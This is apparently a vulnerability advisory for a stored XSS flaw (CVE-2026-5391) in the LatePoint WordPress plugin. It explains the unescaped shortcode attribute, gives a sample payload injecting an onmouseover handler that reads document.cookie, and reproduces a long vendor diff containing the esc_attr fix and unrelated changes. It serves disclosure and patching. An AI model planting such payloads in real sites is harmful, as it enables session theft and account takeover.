Atomic Edge analysis of CVE-2026-5391: This vulnerability is a Stored Cross-Site Scripting (XSS) flaw found in the LatePoint plugin for WordPress, affecting versions up to and including 5.3.2. The issue is in the ‘latepoint_resources’ shortcode’s handling of the ‘btn_wrapper_classes’ attribute, which is rendered in the ‘locations’ branch of the code. An attacker with contributor-level access or higher can exploit this to execute arbitrary JavaScript in the context of any user who views a page containing the infected shortcode.
The root cause is insufficient input sanitization and output escaping. The ‘shortcode_latepoint_resources’ function, defined in ‘lib/helpers/shortcodes_helper.php’, directly outputs the ‘btn_wrapper_classes’ variable within an HTML class attribute on line 240 (of the vulnerable version). The variable is taken from user-supplied shortcode attributes without proper sanitization or escaping. This allows an attacker to break out of the class attribute by injecting a single quote (‘) and adding event handler attributes like ‘onmouseover’, which execute when a user interacts with the element. The patch, included in version 5.4.0, adds an ‘esc_attr()’ function around the variable, which encodes special characters, rendering the injection attempt inert.
To exploit this, an attacker must have contributor-level access or higher in WordPress, allowing them to create or edit posts and pages through the block editor or classic editor. The attacker would insert a shortcode with a crafted ‘btn_wrapper_classes’ attribute, such as: [latepoint_resources btn_wrapper_classes=’a’ onmouseover=’alert(document.cookie)’]. When a site visitor views this page, the shortcode renders the location listing, and the malicious attribute is output unescaped. The browser interprets the injected ‘onmouseover’ handler, which executes when the visitor hovers over the location’s booking button. This attack is considered stored because the malicious script is persisted in the page content.
The patch is a single-line change in the ‘shortcodes_helper.php’ file. The vulnerable line, ‘$output .= ‘
The impact of this vulnerability is high for affected sites. A successful attack allows the threat actor to execute arbitrary JavaScript in the browsers of users visiting the compromised page. This script can capture and exfiltrate sensitive session cookies, allowing account takeover of administrators and other users. An attacker can also potentially perform malicious actions on behalf of the victim, such as modifying site content, creating new administrative users, or injecting malware. The severity is amplified because the attack vector is a standard user role (contributor) and the script persists in the page, meaning every visit by a legitimate user triggers the malicious code.
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: LatePoint
* Description: Appointment Scheduling Software for WordPress
- * Version: 5.3.2
+ * Version: 5.4.0
* Author: LatePoint
* Author URI: https://latepoint.com
* Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
* LatePoint version.
*
*/
- public $version = '5.3.2';
+ public $version = '5.4.0';
public $db_version = '2.3.0';
@@ -829,6 +829,7 @@
include_once LATEPOINT_ABSPATH . 'lib/helpers/events_helper.php';
include_once LATEPOINT_ABSPATH . 'lib/helpers/icalendar_helper.php';
include_once LATEPOINT_ABSPATH . 'lib/helpers/version_specific_updates_helper.php';
+ include_once LATEPOINT_ABSPATH . 'lib/helpers/update_helper.php';
include_once LATEPOINT_ABSPATH . 'lib/helpers/calendar_helper.php';
include_once LATEPOINT_ABSPATH . 'lib/helpers/meeting_systems_helper.php';
include_once LATEPOINT_ABSPATH . 'lib/helpers/marketing_systems_helper.php';
@@ -1056,6 +1057,9 @@
function plugins_loaded_hook() {
OsAnalyticsHelper::init();
+
+ // Should be trigger after all plugins are loaded.
+ OsUpdateHelper::init();
}
function check_addon_versions() {
--- a/latepoint/lib/controllers/customer_cabinet_controller.php
+++ b/latepoint/lib/controllers/customer_cabinet_controller.php
@@ -277,7 +277,8 @@
}
$booking_id = $this->params['id'];
- $booking = new OsBookingModel( $booking_id );
+ $this->check_nonce( 'cancel_booking_' . $booking_id );
+ $booking = new OsBookingModel( $booking_id );
if ( ! empty( $booking->id ) && ( OsAuthHelper::get_logged_in_customer_id() == $booking->customer_id ) && OsCustomerHelper::can_cancel_booking( $booking ) ) {
if ( $booking->update_status( LATEPOINT_BOOKING_STATUS_CANCELLED ) ) {
$status = LATEPOINT_STATUS_SUCCESS;
--- a/latepoint/lib/controllers/pro_controller.php
+++ b/latepoint/lib/controllers/pro_controller.php
@@ -63,6 +63,11 @@
$this->vars['page_header'] = OsMenuHelper::get_menu_items_by_id( 'locations' );
$this->format_render( 'pro_feature', [], [], true );
}
+
+ public function assets() {
+ $this->vars['page_header'] = __( 'Assets', 'latepoint' );
+ $this->format_render( 'pro_feature', [], [], true );
+ }
}
endif;
--- a/latepoint/lib/controllers/stripe_connect_controller.php
+++ b/latepoint/lib/controllers/stripe_connect_controller.php
@@ -23,12 +23,16 @@
}
public function create_payment_intent_for_transaction() {
- if ( ! filter_var( $this->params['invoice_id'], FILTER_VALIDATE_INT ) ) {
- exit();
- }
try {
-
- $invoice = new OsInvoiceModel( $this->params['invoice_id'] );
+ $invoice_access_key = sanitize_text_field( $this->params['key'] ?? '' );
+ if ( empty( $invoice_access_key ) ) {
+ throw new Exception( __( 'Invoice not found', 'latepoint' ) );
+ }
+ $invoice = new OsInvoiceModel();
+ $invoice = OsInvoicesHelper::get_invoice_by_key( $invoice_access_key );
+ if ( ! ( $invoice instanceof OsInvoiceModel ) || $invoice->is_new_record() ) {
+ throw new Exception( __( 'Invoice not found', 'latepoint' ) );
+ }
$transaction_intent = OsTransactionIntentHelper::create_or_update_transaction_intent( $invoice, $this->params );
@@ -54,7 +58,7 @@
'payment_intent_id' => $payment_intent_id,
'payment_intent_secret' => $payment_intent_client_secret,
'transaction_intent_key' => $transaction_intent->intent_key,
- ]
+ ]
);
}
} catch ( Exception $e ) {
@@ -63,7 +67,7 @@
array(
'status' => LATEPOINT_STATUS_ERROR,
'message' => $e->getMessage(),
- )
+ )
);
}
}
@@ -121,8 +125,8 @@
[
LATEPOINT_PAYMENTS_ENV_LIVE,
LATEPOINT_PAYMENTS_ENV_DEV,
- ]
- )
+ ]
+ )
) ) ? $this->params['env'] : OsSettingsHelper::get_payments_environment();
}
@@ -135,7 +139,7 @@
'status' => LATEPOINT_STATUS_SUCCESS,
'url' => $url,
'message' => __( 'Redirecting to Stripe', 'latepoint' ),
- )
+ )
);
}
@@ -157,14 +161,14 @@
array(
'status' => LATEPOINT_STATUS_ERROR,
'message' => $e->getMessage(),
- )
+ )
);
}
$this->send_json(
array(
'status' => LATEPOINT_STATUS_SUCCESS,
'message' => OsStripeConnectHelper::get_connection_buttons_and_status( $env ),
- )
+ )
);
}
@@ -205,14 +209,14 @@
array(
'status' => LATEPOINT_STATUS_ERROR,
'message' => $e->getMessage(),
- )
+ )
);
}
$this->send_json(
array(
'status' => LATEPOINT_STATUS_SUCCESS,
'message' => OsStripeConnectHelper::get_connection_buttons_and_status( $env ),
- )
+ )
);
}
@@ -227,7 +231,7 @@
'status' => LATEPOINT_STATUS_ERROR,
'message' => 'Token is missing',
),
- 404
+ 404
);
}
if ( $data['wp_latepoint_server_token'] != OsStripeConnectHelper::get_server_token() ) {
@@ -236,7 +240,7 @@
'status' => LATEPOINT_STATUS_ERROR,
'message' => 'Invalid Token',
),
- 404
+ 404
);
}
@@ -245,7 +249,7 @@
'status' => LATEPOINT_STATUS_SUCCESS,
'message' => 'Heartbeat detected',
),
- 200
+ 200
);
}
@@ -281,7 +285,7 @@
[
'cart_items_data' => wp_json_encode( $cart_items_data ),
'payment_data' => wp_json_encode( $payment_data ),
- ]
+ ]
);
if ( $this->get_return_format() == 'json' ) {
$this->send_json(
@@ -291,7 +295,7 @@
'payment_intent_id' => $payment_intent_id,
'payment_intent_secret' => $payment_intent_client_secret,
'order_intent_key' => $order_intent->intent_key,
- ]
+ ]
);
}
} catch ( Exception $e ) {
@@ -300,7 +304,7 @@
array(
'status' => LATEPOINT_STATUS_ERROR,
'message' => $e->getMessage(),
- )
+ )
);
}
}
--- a/latepoint/lib/controllers/wizard_controller.php
+++ b/latepoint/lib/controllers/wizard_controller.php
@@ -83,7 +83,7 @@
'message' => $response_html,
'show_prev_btn' => true,
'show_next_btn' => $this->show_next_btn,
- )
+ )
);
}
}
@@ -108,7 +108,7 @@
'message' => $response_html,
'show_prev_btn' => $this->show_prev_btn,
'show_next_btn' => $this->show_next_btn,
- )
+ )
);
}
}
@@ -121,6 +121,8 @@
add_option( 'latepoint_wizard_visited', true );
+ do_action( 'latepoint_onboarding_started' );
+
$this->vars['current_step_code'] = $current_step_code;
$this->vars['current_step_number'] = array_search( $current_step_code, $this->steps_in_order );
$this->vars['step_file_to_include'] = 'steps/_' . $current_step_code . '.php';
@@ -145,6 +147,10 @@
$new_current_step_code = $this->steps_in_order[ array_search( $current_step_code, $this->steps_in_order ) + 1 ];
+ // Wizard step completed.
+ $this->on_step_completed( $current_step_code, $new_current_step_code );
+
+ // Wizard is complete.
if ( 'complete' === $new_current_step_code ) {
do_action( 'latepoint_onboarding_completed' );
}
@@ -311,10 +317,31 @@
}
function step_personal_info() {
- $this->vars['wizard_first_name'] = OsSettingsHelper::get_settings_value( 'wizard_first_name', '' );
- $this->vars['wizard_last_name'] = OsSettingsHelper::get_settings_value( 'wizard_last_name', '' );
- $this->vars['wizard_email'] = OsSettingsHelper::get_settings_value( 'wizard_email', '' );
- $this->vars['wizard_email_optin'] = OsSettingsHelper::get_settings_value( 'wizard_email_optin', 'off' );
+ $current_user = wp_get_current_user();
+
+ $wizard_first_name = OsSettingsHelper::get_settings_value( 'wizard_first_name', '' );
+ $wizard_last_name = OsSettingsHelper::get_settings_value( 'wizard_last_name', '' );
+ $wizard_email = OsSettingsHelper::get_settings_value( 'wizard_email', '' );
+
+ if ( $current_user->exists() ) {
+ if ( empty( $wizard_first_name ) ) {
+ $wizard_first_name = $current_user->first_name;
+ }
+
+ if ( empty( $wizard_last_name ) ) {
+ $wizard_last_name = $current_user->last_name;
+ }
+
+ if ( empty( $wizard_email ) ) {
+ $wizard_email = $current_user->user_email;
+ }
+ }
+
+ $this->vars['wizard_first_name'] = $wizard_first_name;
+ $this->vars['wizard_last_name'] = $wizard_last_name;
+ $this->vars['wizard_email'] = $wizard_email;
+
+ $this->vars['wizard_email_optin'] = OsSettingsHelper::get_settings_value( 'wizard_email_optin', 'on' );
$this->show_next_btn = true;
}
@@ -363,9 +390,43 @@
if ( $email_optin === 'on' ) {
update_option( 'latepoint_usage_optin', 'yes' );
+
+ $this->send_registration_data( $first_name, $last_name, $email, $email_optin );
+ }
+ }
+
+ function skip_setup() {
+ $current_step = isset( $this->params['current_step_code'] ) ? sanitize_text_field( $this->params['current_step_code'] ) : 'unknown';
+
+ $analytics = get_option( 'latepoint_onboarding_analytics', [] );
+ $analytics['exited_early'] = true;
+ $analytics['current_step'] = $current_step;
+ update_option( 'latepoint_onboarding_analytics', $analytics );
+
+ do_action( 'latepoint_onboarding_skipped', $current_step );
+
+ if ( $this->get_return_format() === 'json' ) {
+ $this->send_json(
+ [
+ 'status' => LATEPOINT_STATUS_SUCCESS,
+ 'redirect' => OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'dashboard', 'index' ) ),
+ ]
+ );
+ }
+ }
+
+ private function on_step_completed( $step_code, $new_current_step ) {
+ // Save step completion to structured option.
+ $analytics = get_option( 'latepoint_onboarding_analytics', [] );
+ if ( ! isset( $analytics['completed_steps'] ) || ! is_array( $analytics['completed_steps'] ) ) {
+ $analytics['completed_steps'] = [];
+ }
+ if ( ! in_array( $step_code, $analytics['completed_steps'], true ) ) {
+ $analytics['completed_steps'][] = $step_code;
}
+ $analytics['current_step'] = $new_current_step;
- $this->send_registration_data( $first_name, $last_name, $email, $email_optin );
+ update_option( 'latepoint_onboarding_analytics', $analytics );
}
private function send_registration_data( $first_name, $last_name, $email, $email_optin ) {
--- a/latepoint/lib/helpers/analytics_helper.php
+++ b/latepoint/lib/helpers/analytics_helper.php
@@ -39,6 +39,7 @@
'path' => LATEPOINT_ABSPATH . 'lib/kit/bsf-analytics',
'author' => 'LatePoint',
'time_to_display' => '+24 hours',
+ 'hide_optin_checkbox' => true,
'deactivation_survey' => apply_filters(
'latepoint_deactivation_survey_data',
[
@@ -66,7 +67,13 @@
// Plugin activated (dedup ensures).
self::events()->track( 'plugin_activated', LATEPOINT_VERSION );
+ // Plugin updated. Fires once per version change via OsUpdateHelper.
+ add_action( 'latepoint_update_after', [ __CLASS__, 'on_plugin_updated' ] );
+ add_action( 'latepoint_update_after', [ __CLASS__, 'on_plugin_updated_payment_state' ] );
+
// Event hooks.
+ add_action( 'latepoint_onboarding_started', [ __CLASS__, 'on_onboarding_started' ] );
+ add_action( 'latepoint_onboarding_skipped', [ __CLASS__, 'on_onboarding_skipped' ] );
add_action( 'latepoint_onboarding_completed', [ __CLASS__, 'on_onboarding_completed' ] );
add_action( 'activated_plugin', [ __CLASS__, 'on_pro_addon_activated' ] );
add_action( 'latepoint_settings_updated', [ __CLASS__, 'on_payment_processors_connected' ] );
@@ -88,12 +95,47 @@
}
/**
+ * Handle onboarding started event.
+ *
+ * @return void
+ */
+ public static function on_onboarding_started() {
+ self::events()->track( 'onboarding_started', LATEPOINT_VERSION );
+ }
+
+ /**
+ * Handle onboarding skipped event.
+ *
+ * @param string $current_step The step the user was on when they skipped.
+ * @return void
+ */
+ public static function on_onboarding_skipped( $current_step ) {
+ $analytics = get_option( 'latepoint_onboarding_analytics', [] );
+ $completed_steps = isset( $analytics['completed_steps'] ) && is_array( $analytics['completed_steps'] ) ? $analytics['completed_steps'] : [];
+
+ $props = [
+ 'current_step' => $current_step,
+ 'completed_steps' => implode( ',', $completed_steps ),
+ 'exited_early' => 'yes',
+ ];
+
+ self::events()->track( 'onboarding_skipped', LATEPOINT_VERSION, $props );
+ }
+
+ /**
* Handle onboarding completion event.
*
* @return void
*/
public static function on_onboarding_completed() {
- self::events()->track( 'onboarding_completed', LATEPOINT_VERSION );
+ $analytics = get_option( 'latepoint_onboarding_analytics', [] );
+ $completed_steps = isset( $analytics['completed_steps'] ) && is_array( $analytics['completed_steps'] ) ? $analytics['completed_steps'] : [];
+
+ $props = [
+ 'completed_steps' => implode( ',', $completed_steps ),
+ ];
+
+ self::events()->track( 'onboarding_completed', LATEPOINT_VERSION, $props );
}
/**
@@ -104,12 +146,55 @@
*/
public static function on_pro_addon_activated( $plugin ) {
if ( 'latepoint-pro-features/latepoint-pro-features.php' === $plugin ) {
- $version = defined( 'LATEPOINT_ADDON_PRO_VERSION' ) ? LATEPOINT_ADDON_PRO_VERSION : '';
+ $version = defined( 'LATEPOINT_ADDON_PRO_VERSION' ) ? LATEPOINT_ADDON_PRO_VERSION : 'unknown';
self::events()->track( 'pro_addon_activated', $version );
}
}
/**
+ * Track plugin_updated event. Called via latepoint_update_after hook.
+ *
+ * @param string $old_version The version before the update.
+ * @return void
+ */
+ public static function on_plugin_updated( $old_version ) {
+ self::events()->track(
+ 'plugin_updated',
+ LATEPOINT_VERSION,
+ [
+ 'from_version' => $old_version,
+ ],
+ true
+ );
+ }
+
+ /**
+ * Capture current payment processor state on plugin update.
+ * Reads from DB settings, not from a form submission.
+ *
+ * @return void
+ */
+ public static function on_plugin_updated_payment_state() {
+ if ( ! class_exists( 'OsPaymentsHelper' ) && ! class_exists( 'OsSettingsHelper' ) ) {
+ return;
+ }
+
+ $env = OsSettingsHelper::get_payments_environment();
+
+ $processors = OsPaymentsHelper::get_payment_processors();
+ foreach ( $processors as $processor ) {
+ $code = $processor['code'] ?? '';
+ if ( ! empty( $code ) && OsPaymentsHelper::is_payment_processor_enabled( $code ) ) {
+ self::events()->track( $code . '_payment_enabled', $env, [], true );
+ }
+ }
+
+ if ( OsPaymentsHelper::is_local_payments_enabled() ) {
+ self::events()->track( 'local_payment_enabled', $env, [], true );
+ }
+ }
+
+ /**
* Handle payment processors connected event.
*
* Records each enabled payment processor as a separate event — future-proof for new processors.
@@ -122,19 +207,19 @@
return;
}
- $env = isset( $settings['payments_environment'] ) ? $settings['payments_environment'] : '';
+ $env = isset( $settings['payments_environment'] ) ? $settings['payments_environment'] : 'dev';
$processors = OsPaymentsHelper::get_payment_processors();
foreach ( $processors as $processor ) {
$code = $processor['code'] ?? '';
$key = 'enable_payment_processor_' . $code;
if ( ! empty( $code ) && isset( $settings[ $key ] ) && 'on' === $settings[ $key ] ) {
- self::events()->track( $code . '_payment_enabled', $env );
+ self::events()->track( $code . '_payment_enabled', $env, [], true );
}
}
if ( isset( $settings['enable_payments_local'] ) && 'on' === $settings['enable_payments_local'] ) {
- self::events()->track( 'local_payment_enabled', $env );
+ self::events()->track( 'local_payment_enabled', $env, [], true );
}
}
@@ -189,6 +274,7 @@
return $stats_data;
}
+
/**
* Get KPI tracking data for the last 2 days (excluding today).
*
--- a/latepoint/lib/helpers/menu_helper.php
+++ b/latepoint/lib/helpers/menu_helper.php
@@ -130,6 +130,12 @@
'link' => OsRouterHelper::build_link( [ 'pro', 'locations' ] ),
),
array(
+ 'id' => 'assets',
+ 'label' => __( 'Assets', 'latepoint' ),
+ 'icon' => 'latepoint-icon latepoint-icon-layers',
+ 'link' => OsRouterHelper::build_link( [ 'pro', 'assets' ] ),
+ ),
+ array(
'id' => 'coupons',
'label' => __( 'Coupons', 'latepoint' ),
'icon' => 'latepoint-icon latepoint-icon-tag1',
@@ -334,6 +340,12 @@
'link' => OsRouterHelper::build_link( [ 'pro', 'locations' ] ),
),
array(
+ 'id' => 'assets',
+ 'label' => __( 'Assets', 'latepoint' ),
+ 'icon' => 'latepoint-icon latepoint-icon-layers',
+ 'link' => OsRouterHelper::build_link( [ 'pro', 'assets' ] ),
+ ),
+ array(
'id' => 'coupons',
'label' => __( 'Coupons', 'latepoint' ),
'icon' => 'latepoint-icon latepoint-icon-tag1',
--- a/latepoint/lib/helpers/shortcodes_helper.php
+++ b/latepoint/lib/helpers/shortcodes_helper.php
@@ -237,7 +237,7 @@
$output .= ! empty( $location->full_address ) ? '<div class="ri-map">' . $location->get_google_maps_iframe( 200 ) . '</div>' : '';
$output .= '<div class="ri-name"><h3>' . esc_html( $location->name ) . '</h3></div>';
$output .= ! empty( $location->full_address ) ? '<div class="ri-description">' . $location->full_address . '<a href="' . $location->get_google_maps_link() . '" target="_blank" class="ri-external-link"><i class="latepoint-icon latepoint-icon-external-link"></i></a></div>' : '';
- $output .= '<div class="ri-buttons ' . $btn_wrapper_classes . '">
+ $output .= '<div class="ri-buttons ' . esc_attr( $btn_wrapper_classes ) . '">
<a href="#" ' . $data_atts . ' class="latepoint-book-button os_trigger_booking ' . esc_attr( $btn_classes ) . '" data-selected-location="' . esc_attr( $location->id ) . '">' . wp_kses_post( $atts['button_caption'] ) . '</a>
</div>';
$output .= '</div>';
--- a/latepoint/lib/helpers/time_helper.php
+++ b/latepoint/lib/helpers/time_helper.php
@@ -79,7 +79,7 @@
$ago_class = empty( $ago ) ? '' : 'time-past';
if ( $event_datetime ) {
$diff = $now_datetime->diff( $event_datetime );
- if ( $diff->d > 0 ) {
+ if ( $diff->d > 0 || $diff->m > 0 || $diff->y > 0 ) {
$left = $before . $diff->format( '%a ' . __( 'days', 'latepoint' ) ) . $ago;
} else {
if ( $diff->h > 0 ) {
--- a/latepoint/lib/helpers/update_helper.php
+++ b/latepoint/lib/helpers/update_helper.php
@@ -0,0 +1,26 @@
+<?php
+
+class OsUpdateHelper {
+
+ /**
+ * Run version-specific updates when the plugin version changes.
+ *
+ * @return void
+ */
+ public static function init() {
+
+ $saved_version = get_option( 'latepoint_plugin_version', '0' );
+
+ do_action( 'latepoint_update_init', $saved_version );
+
+ if ( version_compare( $saved_version, LATEPOINT_VERSION, '=' ) ) {
+ return;
+ }
+
+ do_action( 'latepoint_update_before', $saved_version );
+
+ update_option( 'latepoint_plugin_version', LATEPOINT_VERSION, false );
+
+ do_action( 'latepoint_update_after', $saved_version );
+ }
+}
--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-events.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-events.php
@@ -58,42 +58,79 @@
}
/**
- * Track a one-time event. Skips if already tracked or pending.
+ * Track an event. By default, skips if already tracked or pending (one-time semantics).
+ * When $force is true, the event is treated as retrackable — bypasses the post-send
+ * dedup check and overwrites any pending entry with the same name. Useful for
+ * recurring events like `plugin_updated` where the latest value should always win.
* Only stores temporary data — cleaned up after analytics send.
*
* @param string $event_name Event identifier.
* @param string $event_value Primary value (version, form ID, mode, etc.).
- * @param array<string, mixed> $properties Additional context as key-value pairs.
+ * @param array<string, mixed> $properties Additional context as key-value pairs. Values are stored as-is — sanitization is the caller's responsibility.
+ * @param bool $force When true, bypass pushed dedup and overwrite pending entry. Default false.
* @since 1.1.21
+ * @since 1.1.25 Added the $force parameter.
* @return void
*/
- public function track( $event_name, $event_value = '', $properties = array() ) {
+ public function track( $event_name, $event_value = '', $properties = array(), $force = false ) {
// Sanitize inputs once upfront — ensures dedup comparisons match stored values.
$event_name = sanitize_text_field( $event_name );
$event_value = sanitize_text_field( (string) $event_value );
$properties = is_array( $properties ) ? $properties : array();
+ $force = (bool) $force;
// Check dedup flag — already sent in a previous cycle.
- $pushed = $this->get_option( 'usage_events_pushed', array() );
- $pushed = is_array( $pushed ) ? $pushed : array();
- if ( in_array( $event_name, $pushed, true ) ) {
- return;
+ // Force bypasses this check; pushed list will be refreshed on next flush_pending().
+ if ( ! $force ) {
+ $pushed = $this->get_option( 'usage_events_pushed', array() );
+ $pushed = is_array( $pushed ) ? $pushed : array();
+ if ( in_array( $event_name, $pushed, true ) ) {
+ return;
+ }
}
// Check if already queued in current cycle.
$pending = $this->get_option( 'usage_events_pending', array() );
$pending = is_array( $pending ) ? $pending : array();
- if ( in_array( $event_name, array_column( $pending, 'event_name' ), true ) ) {
- return;
- }
- // Add to pending queue.
- $pending[] = array(
+ $new_event = array(
'event_name' => $event_name,
'event_value' => $event_value,
'properties' => $properties,
'date' => current_time( 'mysql' ),
);
+
+ if ( ! $force ) {
+ // Default path: cheap membership check — no need to locate the key.
+ if ( in_array( $event_name, array_column( $pending, 'event_name' ), true ) ) {
+ return;
+ }
+ $pending[] = $new_event;
+ } else {
+ // Force path: locate any existing entry by actual key to overwrite safely.
+ $existing_key = null;
+ foreach ( $pending as $key => $entry ) {
+ if ( isset( $entry['event_name'] ) && $entry['event_name'] === $event_name ) {
+ $existing_key = $key;
+ break;
+ }
+ }
+
+ if ( null !== $existing_key ) {
+ // Skip the write when nothing material changed (only `date` would differ).
+ $existing = $pending[ $existing_key ];
+ if ( array_key_exists( 'event_value', $existing )
+ && array_key_exists( 'properties', $existing )
+ && $existing['event_value'] === $new_event['event_value']
+ && $existing['properties'] === $new_event['properties'] ) {
+ return;
+ }
+ $pending[ $existing_key ] = $new_event;
+ } else {
+ $pending[] = $new_event;
+ }
+ }
+
$this->update_option( 'usage_events_pending', $pending );
}
--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-stats.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-stats.php
@@ -101,6 +101,8 @@
'active_theme' => get_template(),
'active_stylesheet' => get_stylesheet(),
+
+ 'admin_email' => get_option( 'admin_email' ),
);
}
--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics.php
@@ -30,7 +30,7 @@
*
* @var string Usage tracking document URL
*/
- public $usage_doc_link = 'https://store.brainstormforce.com/usage-tracking/?utm_source=wp_dashboard&utm_medium=general_settings&utm_campaign=usage_tracking';
+ public $usage_doc_link = 'https://store.brainstormforce.com/usage-tracking/';
/**
* Setup actions, load files.
@@ -164,6 +164,12 @@
*/
public function is_tracking_enabled() {
+ // Global kill switch — allows hosting providers, compliance plugins,
+ // or agency developers to disable all BSF tracking with one filter.
+ if ( ! apply_filters( 'bsf_usage_tracking_enabled', true ) ) {
+ return false;
+ }
+
foreach ( $this->entities as $key => $data ) {
$is_enabled = get_site_option( $key . '_usage_optin', false ) === 'yes' ? true : false;
@@ -202,6 +208,28 @@
}
/**
+ * Get usage doc link with UTM parameters.
+ *
+ * Appends product-specific UTM params to the default usage tracking URL
+ * so we can attribute which plugin's link was clicked.
+ *
+ * @param string $product_key Product key (e.g., 'spectra', 'surerank').
+ * @param string $context Where the link appears ('notice' or 'settings').
+ * @return string Full URL with UTM parameters.
+ * @since 1.1.23
+ */
+ public function get_usage_doc_link( $product_key, $context = 'notice' ) {
+ return add_query_arg(
+ array(
+ 'utm_source' => $product_key,
+ 'utm_medium' => $context,
+ 'utm_campaign' => 'usage_tracking',
+ ),
+ $this->usage_doc_link
+ );
+ }
+
+ /**
* Display admin notice for usage tracking.
*
* @since 1.0.0
@@ -225,7 +253,7 @@
foreach ( $this->entities as $key => $data ) {
$time_to_display = isset( $data['time_to_display'] ) ? $data['time_to_display'] : '+24 hours';
- $usage_doc_link = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->usage_doc_link;
+ $usage_doc_link = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->get_usage_doc_link( $key, 'notice' );
// Don't display the notice if tracking is disabled or White Label is enabled for any of our plugins.
if ( false !== get_site_option( $key . '_usage_optin', false ) || $this->is_white_label_enabled( $key ) ) {
@@ -240,9 +268,9 @@
/* translators: %s product name */
$notice_string = sprintf(
__(
- 'Help us improve %1$s and our other products!<br><br>With your permission, we'd like to collect <strong>non-sensitive information</strong> from your website — like your PHP version and which features you use — so we can fix bugs faster, make smarter decisions, and build features that actually matter to you. <em>No personal info. Ever.</em>'
+ '<strong>Help shape the future of %1$s.</strong><br><br>Share how you use the plugin so we can build features that matter, fix issues faster, and make smarter decisions.'
),
- '<strong>' . esc_html( $data['product_name'] ) . '</strong>'
+ esc_html( $data['product_name'] )
);
if ( is_multisite() ) {
@@ -270,7 +298,7 @@
</div>
</div>',
/* translators: %s usage doc link */
- sprintf( $notice_string . '<span dir="%1s"><a href="%2s" target="_blank" rel="noreferrer noopener">%3s</a><span><br><br>', $language_dir, esc_url( $usage_doc_link ), __( ' Know More.' ) ),
+ sprintf( $notice_string . '<span dir="%1s"> <a href="%2s" target="_blank" rel="noreferrer noopener">%3s</a><span><br><br>', $language_dir, esc_url( $usage_doc_link ), __( 'Learn more.' ) ),
esc_url(
add_query_arg(
array(
@@ -280,7 +308,7 @@
)
)
),
- __( 'Yes! Allow it' ),
+ __( 'Happy to help!' ),
esc_url(
add_query_arg(
array(
@@ -291,7 +319,7 @@
)
),
MONTH_IN_SECONDS,
- __( 'No Thanks' )
+ __( 'Skip' )
),
'show_if' => true,
'repeat-notice-after' => false,
@@ -371,6 +399,9 @@
private function optout( $source ) {
update_site_option( $source . '_usage_optin', 'no' );
update_site_option( 'bsf_usage_last_displayed_time', time() );
+
+ // Clear tracking transient immediately so opt-out takes effect right away.
+ delete_site_transient( 'bsf_usage_track' );
}
/**
@@ -455,7 +486,7 @@
continue;
}
- $usage_doc_link = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->usage_doc_link;
+ $usage_doc_link = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->get_usage_doc_link( $key, 'settings' );
$author = isset( $data['author'] ) ? $data['author'] : 'Brainstorm Force';
register_setting(
@@ -511,7 +542,7 @@
<input id="<?php echo esc_attr( $args['id'] ); ?>" type="checkbox" value="1" name="<?php echo esc_attr( $args['name'] ); ?>" <?php checked( $is_checked ); ?>>
<?php
/* translators: %s Product title */
- echo esc_html( sprintf( __( 'Allow %s products to track non-sensitive usage tracking data.' ), $args['title'] ) );// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText
+ echo esc_html( sprintf( __( 'Help improve %s by sharing non-sensitive usage data — like PHP version and features used.' ), $args['title'] ) );// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText
if ( is_multisite() ) {
esc_html_e( ' This will be applicable for all sites from the network.' );
--- a/latepoint/lib/kit/bsf-analytics/modules/utm-analytics.php
+++ b/latepoint/lib/kit/bsf-analytics/modules/utm-analytics.php
@@ -11,7 +11,6 @@
}
if ( ! class_exists( 'BSF_UTM_Analytics' ) ) {
-
if ( ! defined( 'BSF_UTM_ANALYTICS_REFERER' ) ) {
define( 'BSF_UTM_ANALYTICS_REFERER', 'bsf_product_referers' );
@@ -43,8 +42,13 @@
'header-footer-elementor',
'latepoint',
'modern-cart',
+ 'power-coupons',
'presto-player',
+ 'sigmize',
'surecart',
+ 'surecontact',
+ 'surecookie',
+ 'suredash',
'sureforms',
'suremails',
'surerank',
@@ -58,8 +62,7 @@
'wp-schema-pro',
'zipwp'
];
-
-
+
/**
* This function will help to determine if provided slug is a valid bsf product or not,
* This way we will maintain consistency through out all our products.
@@ -72,10 +75,10 @@
if ( empty( $slug ) || ! is_string( $slug ) ) {
return false;
}
-
+
return in_array( $slug, self::$bsf_product_slugs, true );
}
-
+
/**
* This function updates value of referer and product in option
* bsf_product_referer in form of key value pair as 'product' => 'referer'
@@ -86,36 +89,36 @@
* @return void
*/
public static function update_referer( $referer, $product ) {
-
+
$slugs = [
'referer' => $referer,
'product' => $product,
];
$error_count = 0;
-
+
foreach ( $slugs as $type => $slug ) {
if ( ! self::is_valid_bsf_product_slug( $slug ) ) {
error_log( sprintf( 'Invalid %1$s slug provided "%2$s", does not match bsf_product_slugs', $type, $slug ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging.
$error_count++;
}
}
-
+
if ( $error_count > 0 ) {
return;
}
-
+
$slugs = array_map( 'sanitize_text_field', $slugs );
-
+
$bsf_product_referers = get_option( BSF_UTM_ANALYTICS_REFERER, [] );
if ( ! is_array( $bsf_product_referers ) ) {
$bsf_product_referers = [];
}
-
+
$bsf_product_referers[ $slugs['product'] ] = $slugs['referer'];
-
+
update_option( BSF_UTM_ANALYTICS_REFERER, $bsf_product_referers );
}
-
+
/**
* This function will add utm_args to pro link or purchase link
* added utm_source by default additional utm_args such as utm_medium etc can be provided to generate location specific links
@@ -127,41 +130,39 @@
* @return string
*/
public static function get_utm_ready_link( $link, $product, $utm_args = [] ) {
-
+
if ( false === wp_http_validate_url( $link ) ) {
